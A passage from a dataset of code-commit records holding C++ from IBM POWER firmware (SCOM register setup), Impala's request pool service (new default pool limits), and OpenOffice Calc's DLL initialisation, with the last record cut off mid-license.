l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T1;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_EPS_WRITE_CYCLES_T1, TGT2, l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T1));\n fapi2::ATTR_PROC_EPS_WRITE_CYCLES_T2_Type l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T2;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_EPS_WRITE_CYCLES_T2, TGT2, l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T2));\n fapi2::buffer<uint64_t> l_scom_buffer;\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x2010c15ull, l_scom_buffer ));\n\n if ((l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE != fapi2::ENUM_ATTR_PROC_FABRIC_BROADCAST_MODE_1HOP_CHIP_IS_GROUP))\n {\n constexpr auto l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_ON = 0x1;\n l_scom_buffer.insert<39, 1, 63, uint64_t>(l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_ON );\n }\n else if ((l_TGT2_ATTR_PROC_FABRIC_BROADCAST_MODE == fapi2::ENUM_ATTR_PROC_FABRIC_BROADCAST_MODE_1HOP_CHIP_IS_GROUP))\n {\n constexpr auto l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_OFF = 0x0;\n l_scom_buffer.insert<39, 1, 63, uint64_t>(l_MM0_MM_FBC_CQ_WRAP_NXCQ_SCOM_CFG_PUMP_MODE_OFF );\n }\n\n FAPI_TRY(fapi2::putScom(TGT0, 0x2010c15ull, l_scom_buffer));\n }\n {\n FAPI_TRY(fapi2::getScom( TGT0, 0x2010c1dull, l_scom_buffer ));\n\n if ((l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T1 != literal_0))\n {\n l_scom_buffer.insert<0, 12, 52, uint64_t>(l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T1 );\n }\n else if ((l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T1 == literal_0))\n {\n l_scom_buffer.insert<0, 12, 52, uint64_t>(literal_0x001 );\n }\n\n if ((l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T2 != literal_0))\n {\n l_scom_buffer.insert<16, 12, 52, uint64_t>(l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T2 );\n }\n else if ((l_TGT2_ATTR_PROC_EPS_WRITE_CYCLES_T2 == literal_0))\n {\n l_scom_buffer.insert<16, 12, 52, uint64_t>(literal_0x001 );\n }\n\n FAPI_TRY(fapi2::putScom(TGT0, 0x2010c1dull, l_scom_buffer));\n }\n\n };\nfapi_try_exit:\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 Cloudera Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"scheduling\/request-pool-service.h\"\n\n#include <list>\n#include <string>\n\n#include \"common\/logging.h\"\n#include \"rpc\/thrift-util.h\"\n#include \"util\/jni-util.h\"\n#include \"util\/parse-util.h\"\n\nusing namespace std;\nusing namespace impala;\n\nDEFINE_string(fair_scheduler_allocation_path, \"\", \"Path to the fair scheduler \"\n \"allocation file (fair-scheduler.xml).\");\nDEFINE_string(llama_site_path, \"\", \"Path to the Llama configuration file \"\n \"(llama-site.xml). If set, fair_scheduler_allocation_path must also be set.\");\n\n\/\/ The default_pool parameters are used if fair scheduler allocation and Llama\n\/\/ configuration files are not provided.\nDEFINE_int64(default_pool_max_requests, -1, \"Maximum number of concurrent outstanding \"\n \"requests allowed to run before queueing incoming requests. A negative value \"\n \"indicates no limit. 0 indicates no requests will be admitted. Ignored if \"\n \"fair_scheduler_config_path and llama_site_path are set.\");\nDEFINE_string(default_pool_mem_limit, \"\", \"Maximum amount of memory that all \"\n \"outstanding requests in this pool may use before new requests to this pool\"\n \" are queued. Specified as a number of bytes ('<int>[bB]?'), megabytes \"\n \"('<float>[mM]'), gigabytes ('<float>[gG]'), or percentage of the physical memory \"\n \"('<int>%'). 0 or not setting indicates no limit. Defaults to bytes if no unit is \"\n \"given. Ignored if fair_scheduler_config_path and llama_site_path are set.\");\nDEFINE_int64(default_pool_max_queued, 0, \"Maximum number of requests allowed to be \"\n \"queued before rejecting requests. A negative value or 0 indicates requests \"\n \"will always be rejected once the maximum number of concurrent requests are \"\n \"executing. Ignored if fair_scheduler_config_path and \"\n \"llama_site_path are set.\");\n\n\/\/ Flags to disable the pool limits for all pools.\nDEFINE_bool(disable_pool_mem_limits, false, \"Disables all per-pool mem limits.\");\nDEFINE_bool(disable_pool_max_requests, false, \"Disables all per-pool limits on the \"\n \"maximum number of running requests.\");\n\nDECLARE_bool(enable_rm);\n\n\/\/ Pool name used when the configuration files are not specified.\nconst string DEFAULT_POOL_NAME = \"default-pool\";\n\nRequestPoolService::RequestPoolService() {\n if (FLAGS_fair_scheduler_allocation_path.empty() &&\n FLAGS_llama_site_path.empty()) {\n if (FLAGS_enable_rm) {\n LOG(ERROR) << \"If resource management is enabled, -fair_scheduler_allocation_path \"\n << \"is required.\";\n exit(1);\n }\n default_pool_only_ = true;\n bool is_percent; \/\/ not used\n int64_t bytes_limit = ParseUtil::ParseMemSpec(FLAGS_default_pool_mem_limit,\n &is_percent);\n \/\/ -1 indicates an error occurred\n if (bytes_limit < 0) {\n LOG(ERROR) << \"Unable to parse default pool mem limit from '\"\n << FLAGS_default_pool_mem_limit << \"'.\";\n exit(1);\n }\n \/\/ 0 indicates no limit or not set\n if (bytes_limit == 0) {\n default_pool_mem_limit_ = -1;\n } else {\n default_pool_mem_limit_ = bytes_limit;\n }\n return;\n }\n default_pool_only_ = false;\n\n jmethodID start_id; \/\/ RequestPoolService.start(), only called in this method.\n JniMethodDescriptor methods[] = {\n {\"<init>\", \"(Ljava\/lang\/String;Ljava\/lang\/String;)V\", &ctor_},\n {\"start\", \"()V\", &start_id},\n {\"resolveRequestPool\", \"([B)[B\", &resolve_request_pool_id_},\n {\"getPoolConfig\", \"([B)[B\", &get_pool_config_id_}};\n\n JNIEnv* jni_env = getJNIEnv();\n request_pool_service_class_ =\n jni_env->FindClass(\"com\/cloudera\/impala\/util\/RequestPoolService\");\n EXIT_IF_EXC(jni_env);\n uint32_t num_methods = sizeof(methods) \/ sizeof(methods[0]);\n for (int i = 0; i < num_methods; ++i) {\n EXIT_IF_ERROR(JniUtil::LoadJniMethod(jni_env, request_pool_service_class_,\n &(methods[i])));\n }\n\n jstring fair_scheduler_config_path =\n jni_env->NewStringUTF(FLAGS_fair_scheduler_allocation_path.c_str());\n EXIT_IF_EXC(jni_env);\n jstring llama_site_path =\n jni_env->NewStringUTF(FLAGS_llama_site_path.c_str());\n EXIT_IF_EXC(jni_env);\n\n jobject request_pool_service = jni_env->NewObject(request_pool_service_class_, ctor_,\n fair_scheduler_config_path, llama_site_path);\n EXIT_IF_EXC(jni_env);\n EXIT_IF_ERROR(JniUtil::LocalToGlobalRef(jni_env, request_pool_service,\n &request_pool_service_));\n jni_env->CallObjectMethod(request_pool_service_, start_id);\n EXIT_IF_EXC(jni_env);\n}\n\nStatus RequestPoolService::ResolveRequestPool(const string& requested_pool_name,\n const string& user, TResolveRequestPoolResult* resolved_pool) {\n if (default_pool_only_) {\n resolved_pool->__set_resolved_pool(DEFAULT_POOL_NAME);\n resolved_pool->__set_has_access(true);\n return Status::OK;\n }\n\n TResolveRequestPoolParams params;\n params.__set_user(user);\n params.__set_requested_pool(requested_pool_name);\n return JniUtil::CallJniMethod(request_pool_service_, resolve_request_pool_id_, params,\n resolved_pool);\n}\n\nStatus RequestPoolService::GetPoolConfig(const string& pool_name,\n TPoolConfigResult* pool_config) {\n if (default_pool_only_) {\n pool_config->__set_max_requests(\n FLAGS_disable_pool_max_requests ? -1 : FLAGS_default_pool_max_requests);\n pool_config->__set_mem_limit(\n FLAGS_disable_pool_mem_limits ? -1 : default_pool_mem_limit_);\n pool_config->__set_max_queued(FLAGS_default_pool_max_queued);\n return Status::OK;\n }\n\n TPoolConfigParams params;\n params.__set_pool(pool_name);\n RETURN_IF_ERROR(JniUtil::CallJniMethod(\n request_pool_service_, get_pool_config_id_, params, pool_config));\n if (FLAGS_disable_pool_max_requests) pool_config->__set_max_requests(-1);\n if (FLAGS_disable_pool_mem_limits) pool_config->__set_mem_limit(-1);\n return Status::OK;\n}\n<commit_msg>Admission controller: Change default values for the \"default pool\"<commit_after>\/\/ Copyright 2014 Cloudera Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"scheduling\/request-pool-service.h\"\n\n#include <list>\n#include <string>\n\n#include \"common\/logging.h\"\n#include \"rpc\/thrift-util.h\"\n#include \"util\/jni-util.h\"\n#include \"util\/parse-util.h\"\n\nusing namespace std;\nusing namespace impala;\n\nDEFINE_string(fair_scheduler_allocation_path, \"\", \"Path to the fair scheduler \"\n \"allocation file (fair-scheduler.xml).\");\nDEFINE_string(llama_site_path, \"\", \"Path to the Llama configuration file \"\n \"(llama-site.xml). If set, fair_scheduler_allocation_path must also be set.\");\n\n\/\/ The default_pool parameters are used if fair scheduler allocation and Llama\n\/\/ configuration files are not provided. The default values for this 'default pool'\n\/\/ are the same as the default values for pools defined via the fair scheduler\n\/\/ allocation file and Llama configurations.\nDEFINE_int64(default_pool_max_requests, 20, \"Maximum number of concurrent outstanding \"\n \"requests allowed to run before queueing incoming requests. A negative value \"\n \"indicates no limit. 0 indicates no requests will be admitted. Ignored if \"\n \"fair_scheduler_config_path and llama_site_path are set.\");\nDEFINE_string(default_pool_mem_limit, \"\", \"Maximum amount of memory that all \"\n \"outstanding requests in this pool may use before new requests to this pool\"\n \" are queued. Specified as a number of bytes ('<int>[bB]?'), megabytes \"\n \"('<float>[mM]'), gigabytes ('<float>[gG]'), or percentage of the physical memory \"\n \"('<int>%'). 0 or not setting indicates no limit. Defaults to bytes if no unit is \"\n \"given. Ignored if fair_scheduler_config_path and llama_site_path are set.\");\nDEFINE_int64(default_pool_max_queued, 50, \"Maximum number of requests allowed to be \"\n \"queued before rejecting requests. A negative value or 0 indicates requests \"\n \"will always be rejected once the maximum number of concurrent requests are \"\n \"executing. Ignored if fair_scheduler_config_path and \"\n \"llama_site_path are set.\");\n\n\/\/ Flags to disable the pool limits for all pools.\nDEFINE_bool(disable_pool_mem_limits, false, \"Disables all per-pool mem limits.\");\nDEFINE_bool(disable_pool_max_requests, false, \"Disables all per-pool limits on the \"\n \"maximum number of running requests.\");\n\nDECLARE_bool(enable_rm);\n\n\/\/ Pool name used when the configuration files are not specified.\nconst string DEFAULT_POOL_NAME = \"default-pool\";\n\nRequestPoolService::RequestPoolService() {\n if (FLAGS_fair_scheduler_allocation_path.empty() &&\n FLAGS_llama_site_path.empty()) {\n if (FLAGS_enable_rm) {\n LOG(ERROR) << \"If resource management is enabled, -fair_scheduler_allocation_path \"\n << \"is required.\";\n exit(1);\n }\n default_pool_only_ = true;\n bool is_percent; \/\/ not used\n int64_t bytes_limit = ParseUtil::ParseMemSpec(FLAGS_default_pool_mem_limit,\n &is_percent);\n \/\/ -1 indicates an error occurred\n if (bytes_limit < 0) {\n LOG(ERROR) << \"Unable to parse default pool mem limit from '\"\n << FLAGS_default_pool_mem_limit << \"'.\";\n exit(1);\n }\n \/\/ 0 indicates no limit or not set\n if (bytes_limit == 0) {\n default_pool_mem_limit_ = -1;\n } else {\n default_pool_mem_limit_ = bytes_limit;\n }\n return;\n }\n default_pool_only_ = false;\n\n jmethodID start_id; \/\/ RequestPoolService.start(), only called in this method.\n JniMethodDescriptor methods[] = {\n {\"<init>\", \"(Ljava\/lang\/String;Ljava\/lang\/String;)V\", &ctor_},\n {\"start\", \"()V\", &start_id},\n {\"resolveRequestPool\", \"([B)[B\", &resolve_request_pool_id_},\n {\"getPoolConfig\", \"([B)[B\", &get_pool_config_id_}};\n\n JNIEnv* jni_env = getJNIEnv();\n request_pool_service_class_ =\n jni_env->FindClass(\"com\/cloudera\/impala\/util\/RequestPoolService\");\n EXIT_IF_EXC(jni_env);\n uint32_t num_methods = sizeof(methods) \/ sizeof(methods[0]);\n for (int i = 0; i < num_methods; ++i) {\n EXIT_IF_ERROR(JniUtil::LoadJniMethod(jni_env, request_pool_service_class_,\n &(methods[i])));\n }\n\n jstring fair_scheduler_config_path =\n jni_env->NewStringUTF(FLAGS_fair_scheduler_allocation_path.c_str());\n EXIT_IF_EXC(jni_env);\n jstring llama_site_path =\n jni_env->NewStringUTF(FLAGS_llama_site_path.c_str());\n EXIT_IF_EXC(jni_env);\n\n jobject request_pool_service = jni_env->NewObject(request_pool_service_class_, ctor_,\n fair_scheduler_config_path, llama_site_path);\n EXIT_IF_EXC(jni_env);\n EXIT_IF_ERROR(JniUtil::LocalToGlobalRef(jni_env, request_pool_service,\n &request_pool_service_));\n jni_env->CallObjectMethod(request_pool_service_, start_id);\n EXIT_IF_EXC(jni_env);\n}\n\nStatus RequestPoolService::ResolveRequestPool(const string& requested_pool_name,\n const string& user, TResolveRequestPoolResult* resolved_pool) {\n if (default_pool_only_) {\n resolved_pool->__set_resolved_pool(DEFAULT_POOL_NAME);\n resolved_pool->__set_has_access(true);\n return Status::OK;\n }\n\n TResolveRequestPoolParams params;\n params.__set_user(user);\n params.__set_requested_pool(requested_pool_name);\n return JniUtil::CallJniMethod(request_pool_service_, resolve_request_pool_id_, params,\n resolved_pool);\n}\n\nStatus RequestPoolService::GetPoolConfig(const string& pool_name,\n TPoolConfigResult* pool_config) {\n if (default_pool_only_) {\n pool_config->__set_max_requests(\n FLAGS_disable_pool_max_requests ? -1 : FLAGS_default_pool_max_requests);\n pool_config->__set_mem_limit(\n FLAGS_disable_pool_mem_limits ? -1 : default_pool_mem_limit_);\n pool_config->__set_max_queued(FLAGS_default_pool_max_queued);\n return Status::OK;\n }\n\n TPoolConfigParams params;\n params.__set_pool(pool_name);\n RETURN_IF_ERROR(JniUtil::CallJniMethod(\n request_pool_service_, get_pool_config_id_, params, pool_config));\n if (FLAGS_disable_pool_max_requests) pool_config->__set_max_requests(-1);\n if (FLAGS_disable_pool_mem_limits) pool_config->__set_mem_limit(-1);\n return Status::OK;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: scdll.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: nn $ $Date: 2000-10-19 18:32:58 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef PCH\n#include \"ui_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n#include <svx\/eeitem.hxx>\n#define ITEMID_FIELD EE_FEATURE_FIELD\n\n#include \"scitems.hxx\" \/\/ fuer tbxctrls etc.\n#include \"scmod.hxx\"\n#include \"scresid.hxx\"\n#include \"sc.hrc\"\n#include \"cfgids.hxx\"\n\n\/\/! die Registrierung wird wegen CLOOKs in ein eigenes File wandern muessen...\n\n\/\/ Interface-Registrierung\n#include \"docsh.hxx\"\n#include \"tabvwsh.hxx\"\n#include \"prevwsh.hxx\"\n#include \"drawsh.hxx\"\n#include \"drformsh.hxx\"\n#include \"drtxtob.hxx\"\n#include \"editsh.hxx\"\n#include \"pivotsh.hxx\"\n#include \"auditsh.hxx\"\n#include \"cellsh.hxx\"\n#include \"oleobjsh.hxx\"\n#include \"chartsh.hxx\"\n#include \"graphsh.hxx\"\n#include \"pgbrksh.hxx\"\n\n#include \"docpool.hxx\"\n#include \"appoptio.hxx\"\n\n\/\/ Controls\n\n#include <svx\/tbxalign.hxx>\n#include <svx\/tbxctl.hxx>\n#include <svx\/fillctrl.hxx>\n#include <svx\/linectrl.hxx>\n#include <svx\/tbcontrl.hxx>\n#include <svx\/selctrl.hxx>\n#include <svx\/insctrl.hxx>\n#include <svx\/zoomctrl.hxx>\n#include <svx\/flditem.hxx>\n#include <svx\/modctrl.hxx>\n#include <svx\/pszctrl.hxx>\n#include <svx\/fntctl.hxx>\n#include <svx\/fntszctl.hxx>\n\n#include \"tbinsert.hxx\"\n\n\/\/ Child-Windows\n#include \"reffact.hxx\"\n#include \"navipi.hxx\"\n#include \"inputwin.hxx\"\n#include <svx\/fontwork.hxx>\n#include <svx\/srchdlg.hxx>\n#include <offmgr\/hyprlink.hxx>\n#include <svx\/imapdlg.hxx>\n\n#include \"editutil.hxx\"\n#include <svx\/svdfield.hxx> \/\/ SdrRegisterFieldClasses\n\n#include \"dwfunctr.hxx\"\n#include \"acredlin.hxx\"\n\n\/\/------------------------------------------------------------------\n\nScResId::ScResId( USHORT nId ) :\n ResId( nId, SC_MOD()->GetResMgr() )\n{\n}\n\n\/\/------------------------------------------------------------------\n\nvoid ScDLL::Init()\n{\n \/\/ called directly after loading the DLL\n \/\/ do whatever you want, you may use Sxx-DLL too\n\n ScDocumentPool::InitVersionMaps(); \/\/ wird im ScModule ctor gebraucht\n\n \/\/ the ScModule must be created\n ScModuleDummy **ppShlPtr = (ScModuleDummy**) GetAppData(SHL_CALC);\n#ifndef SO3\n SvFactory *pFact = (*ppShlPtr)->pScDocShellFactory;\n#else\n SvFactory *pFact = (SvFactory*)(*ppShlPtr)->pScDocShellFactory;\n#endif\n ScLibSignalFunc pFunc = (*ppShlPtr)->pSignalFunc;\n delete (*ppShlPtr);\n ScModule* pMod = new ScModule((SfxObjectFactory*)pFact);\n (*ppShlPtr) = pMod;\n (*ppShlPtr)->pScDocShellFactory = pFact;\n (*ppShlPtr)->pSignalFunc = pFunc;\n\n ScGlobal::Init(); \/\/ erst wenn der ResManager initialisiert ist\n \/\/ erst nach ScGlobal::Init duerfen die App-Optionen\n \/\/ initialisiert werden\n\n \/\/ register your view-factories here\n\n ScTabViewShell ::RegisterFactory(1);\n ScPreviewShell ::RegisterFactory(2);\n\n \/\/ register your shell-interfaces here\n\n ScModule ::RegisterInterface(pMod);\n ScDocShell ::RegisterInterface(pMod);\n ScTabViewShell ::RegisterInterface(pMod);\n ScPreviewShell ::RegisterInterface(pMod);\n ScDrawShell ::RegisterInterface(pMod);\n ScDrawFormShell ::RegisterInterface(pMod);\n ScDrawTextObjectBar ::RegisterInterface(pMod);\n ScEditShell ::RegisterInterface(pMod);\n ScPivotShell ::RegisterInterface(pMod);\n ScAuditingShell ::RegisterInterface(pMod);\n ScFormatShell ::RegisterInterface(pMod);\n ScCellShell ::RegisterInterface(pMod);\n ScOleObjectShell ::RegisterInterface(pMod);\n ScChartShell ::RegisterInterface(pMod);\n ScGraphicShell ::RegisterInterface(pMod);\n ScPageBreakShell ::RegisterInterface(pMod);\n\n\n\n \/\/ register your controllers here\n\n ScDocShell::Factory().RegisterMenuBar( ScResId(SCCFG_MENUBAR) );\n ScDocShell::Factory().RegisterPluginMenuBar( ScResId(SCCFG_PLUGINMENU) );\n ScDocShell::Factory().RegisterAccel( ScResId(SCCFG_ACCELERATOR) );\n\n \/\/ eigene Controller\n ScTbxInsertCtrl ::RegisterControl(SID_TBXCTL_INSERT, pMod);\n ScTbxInsertCtrl ::RegisterControl(SID_TBXCTL_INSCELLS, pMod);\n ScTbxInsertCtrl ::RegisterControl(SID_TBXCTL_INSOBJ, pMod);\n\n \/\/ Svx-Toolbox-Controller\n SvxTbxCtlDraw ::RegisterControl(SID_INSERT_DRAW, pMod);\n SvxTbxCtlAlign ::RegisterControl(SID_OBJECT_ALIGN, pMod);\n SvxFillToolBoxControl ::RegisterControl(0, pMod);\n SvxLineStyleToolBoxControl ::RegisterControl(0, pMod);\n SvxLineWidthToolBoxControl ::RegisterControl(0, pMod);\n SvxLineColorToolBoxControl ::RegisterControl(0, pMod);\n SvxLineEndToolBoxControl ::RegisterControl(SID_ATTR_LINEEND_STYLE, pMod);\n SvxStyleToolBoxControl ::RegisterControl(SID_STYLE_APPLY, pMod);\n SvxFontNameToolBoxControl ::RegisterControl(SID_ATTR_CHAR_FONT, pMod);\n SvxFontHeightToolBoxControl ::RegisterControl(SID_ATTR_CHAR_FONTHEIGHT, pMod);\n SvxFontColorToolBoxControl ::RegisterControl(SID_ATTR_CHAR_COLOR, pMod);\n SvxColorToolBoxControl ::RegisterControl(SID_BACKGROUND_COLOR, pMod);\n SvxFrameToolBoxControl ::RegisterControl(SID_ATTR_BORDER, pMod);\n SvxFrameLineStyleToolBoxControl ::RegisterControl(SID_FRAME_LINESTYLE, pMod);\n SvxFrameLineColorToolBoxControl ::RegisterControl(SID_FRAME_LINECOLOR, pMod);\n\n \/\/ Svx-StatusBar-Controller\n SvxInsertStatusBarControl ::RegisterControl(SID_ATTR_INSERT, pMod);\n SvxSelectionModeControl ::RegisterControl(SID_STATUS_SELMODE, pMod);\n SvxZoomStatusBarControl ::RegisterControl(SID_ATTR_ZOOM, pMod);\n SvxModifyControl ::RegisterControl(SID_DOC_MODIFIED, pMod);\n SvxPosSizeStatusBarControl ::RegisterControl(SID_ATTR_SIZE, pMod);\n\n \/\/ Svx-Menue-Controller\n SvxFontMenuControl ::RegisterControl(SID_ATTR_CHAR_FONT, pMod);\n SvxFontSizeMenuControl ::RegisterControl(SID_ATTR_CHAR_FONTHEIGHT, pMod);\n\n \/\/ Child-Windows\n\n \/\/ Hack: Eingabezeile mit 42 registrieren, damit sie im PlugIn immer sichtbar ist\n ScInputWindowWrapper ::RegisterChildWindow(42, pMod, SFX_CHILDWIN_TASK);\n ScNavigatorDialogWrapper ::RegisterChildWindowContext(pMod);\n ScSolverDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScNameDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScPivotLayoutWrapper ::RegisterChildWindow(FALSE, pMod);\n ScTabOpDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScFilterDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScSpecialFilterDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScDbNameDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScConsolidateDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScChartDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScPrintAreasDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScCondFormatDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScColRowNameRangesDlgWrapper::RegisterChildWindow(FALSE, pMod);\n ScFormulaDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n\n \/\/ First docking Window for Calc\n ScFunctionChildWindow ::RegisterChildWindow(FALSE, pMod);\n\n \/\/ Redlining- Window\n ScAcceptChgDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScSimpleRefDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n ScHighlightChgDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n\n\n SvxFontWorkChildWindow ::RegisterChildWindow(FALSE, pMod);\n SvxHyperlinkDlgWrapper ::RegisterChildWindow(FALSE, pMod);\n SvxIMapDlgChildWindow ::RegisterChildWindow(FALSE, pMod);\n\n \/\/ Edit-Engine-Felder, soweit nicht schon in OfficeApplication::Init\n\n SvClassManager& rClassManager = SvxFieldItem::GetClassManager();\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxURLField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxDateField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxPageField );\n rClassManager.SV_CLASS_REGISTER( SvxPagesField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxTimeField );\n rClassManager.SV_CLASS_REGISTER( SvxFileField );\n\/\/ rClassManager.SV_CLASS_REGISTER( SvxExtFileField );\n rClassManager.SV_CLASS_REGISTER( SvxTableField );\n\n SdrRegisterFieldClasses(); \/\/ SvDraw-Felder registrieren\n\n pMod->PutItem( SfxUInt16Item( SID_ATTR_METRIC, pMod->GetAppOptions().GetAppMetric() ) );\n\n \/\/ StarOne Services are now handled in the registry\n}\n\nvoid ScDLL::Exit()\n{\n \/\/ called directly befor unloading the DLL\n \/\/ do whatever you want, Sxx-DLL is accessible\n\n \/\/ the SxxModule must be destroyed\n ScModuleDummy **ppShlPtr = (ScModuleDummy**) GetAppData(SHL_CALC);\n delete (*ppShlPtr);\n (*ppShlPtr) = NULL;\n\n \/\/ auf keinen Fall ein neues ScModuleDummy anlegen, weil dessen vtable sonst\n \/\/ in der DLL waere und das Loeschen im LibExit schiefgehen wuerde\n\n \/\/ ScGlobal::Clear ist schon im Module-dtor\n}\n\n\/\/------------------------------------------------------------------\n\/\/ Statusbar\n\/\/------------------------------------------------------------------\n\n#define TEXT_WIDTH(s) rStatusBar.GetTextWidth((s))\n\nvoid ScDLL::FillStatusBar(StatusBar &rStatusBar)\n{\n \/\/ Dokumentposition (Tabelle x \/ y)\n rStatusBar.InsertItem( SID_STATUS_DOCPOS,\n TEXT_WIDTH( String().Fill( 10, 'X' ) ),\n SIB_LEFT|SIB_AUTOSIZE );\n\n \/\/ Seitenvorlage\n rStatusBar.InsertItem( SID_STATUS_PAGESTYLE,\n TEXT_WIDTH( String().Fill( 15, 'X' ) ),\n SIB_LEFT|SIB_AUTOSIZE );\n\n \/\/ Ma\"sstab\n rStatusBar.InsertItem( SID_ATTR_ZOOM,\n SvxZoomStatusBarControl::GetDefItemWidth(rStatusBar),\n SIB_CENTER );\n\n \/\/ Einfuege-\/Ueberschreibmodus\n rStatusBar.InsertItem( SID_ATTR_INSERT,\n SvxInsertStatusBarControl::GetDefItemWidth(rStatusBar),\n SIB_CENTER );\n\n \/\/ Selektionsmodus\n rStatusBar.InsertItem( SID_STATUS_SELMODE,\n SvxSelectionModeControl::GetDefItemWidth(rStatusBar),\n SIB_CENTER );\n\n \/\/ Dokument geaendert\n rStatusBar.InsertItem( SID_DOC_MODIFIED,\n SvxModifyControl::GetDefItemWidth(rStatusBar));\n\n \/\/ Mail\n rStatusBar.InsertItem( SID_MAIL_NOTIFY,\n TEXT_WIDTH( String::CreateFromAscii(RTL_CONSTASCII_STRINGPARAM(\"Mail\")) ),\n SIB_CENTER );\n\n \/\/ den aktuellen Kontext anzeigen Uhrzeit \/ FramePos \/ TabellenInfo \/ Errors\n rStatusBar.InsertItem( SID_ATTR_SIZE,\n SvxPosSizeStatusBarControl::GetDefItemWidth(rStatusBar),\n SIB_AUTOSIZE|SIB_LEFT|SIB_USERDRAW);\n}\n\n#undef TEXT_WIDTH\n\n\n<commit_msg>register graphic toolbox controller<commit_after>\/*************************************************************************\n *\n * $RCSfile: scdll.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: nn $ $Date: 2000-10-20 18:23:17 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, 